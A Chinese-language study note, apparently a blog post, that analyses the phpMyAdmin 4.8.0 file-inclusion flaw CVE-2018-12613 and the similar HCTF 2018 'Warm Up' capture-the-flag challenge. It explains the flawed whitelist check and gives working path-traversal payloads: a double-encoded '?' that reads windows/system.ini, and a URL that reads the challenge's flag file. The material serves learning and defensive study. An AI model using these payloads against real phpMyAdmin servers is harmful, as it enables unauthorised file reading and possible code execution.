由CTF延伸到CVE漏洞的学习
最近做CTF遇到两个类似的题,后面了解才知道是一个CVE漏洞,写一篇笔记加深印象
先说CVE
[CVE-2018-12613]phpMyadmin远程文件包含
phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。
漏洞描述
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:
-
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
-
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
影响版本
-
Phpmyadmin Phpmyadmin 4.8.0
-
Phpmyadmin Phpmyadmin 4.8.0.1
-
原理分析
if (! empty($_REQUEST['target']) //target参数没有过滤,并且直接include && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) //限制 target 参数不能以index开头 && ! in_array($_REQUEST['target'], $target_blacklist) //限制 target 参数不在黑名单内 && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
通过以上代码,大概理个思路,由于target可以直接传入,且过滤程度不够直接进行了include包含,因此尝试包含target参数,经过分析,发现对target参数的限制有三点:
-
限制 target 参数不能以index开头
-
限制 target 参数不在黑名单内
-
符合函数
checkPageValidity()
的验证
首先查看$target_blacklist:
$target_blacklist = array ( 'import.php', 'export.php' );
跟进checkPageValidity()
函数
phpMyAdmin-4.8.1-english\libraries\classes\Core.php 第443行开始
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; //返回true的方式1 } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; //返回true的方式2 } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; //返回true的方式3 } return false; }
根据以上代码可以知道,要想返回true有三个方法
第一个方法,直接对page参数判断是否在白名单内,无法利用
第二个方法,这个判断是对$page校验是否在白名单中,而$_page是将$page值末尾加上’?’后从字符串第0位开始分割,取其中第一次出现?之前的内容。这里不能用xxx.php?/../../../绕过,因为PHP中会把?
后面的内容作为文件xxx.php
中的参数。
第三个方法,先将$page进行urldecode解码,然后再进行?的分割,取值进行判断,只要解码后分割出来的值在$whitelist中即可满足条件。而在$target 里问号被二次编码为%253f, export.php%253f也会被认为是一个目录,可以用../跨越,成功实现包含。因此命名规范里面没有将%放进去也是该漏洞能在windows下成功利用的一个关键点。
payload:index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini
include $_REQUEST[‘target’];`
就变成
`include ‘export.php%3f/../../../../../../../../../windows/system.ini'
白名单,第31行
ctf实战:
1.[HCTF 2018]Warm Up
检查源代码,发现source.php,直接通过source.php查看内容,
发现定义了一个白名单,分别是source/hint.php,那就先查看hint.php
检查源码后发现没东西,就看source的源码,很明显看到最后有include文件包含。
上面的代码内容:首先定义了一个白名单,然后判断page是否为空或字符串,不是返回false,判断后再判断是否在白名单里,在白名单中返回true。
往下看,
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') );
mb_substr(str1,start,[length][,[str2]]):是在str1从start开始length为长度截取字符串,str2是表示字符编码
mb_strpos(str1,str2):查找str2在str1中出现的位置
这部分是对url地址中?前的字符做截取。然后再判断是否在白名单中,如果在,则进行url解码,此时_page就是解码过的page,再对?前的字符进行判断,是否在白名单中
最后进行文件包含的操作。
payload构造
由于两次检查了?前的内容,均需要在白名单中
payload:source.php?file=source.php?../../../../../ffffllllaaaagggg
成功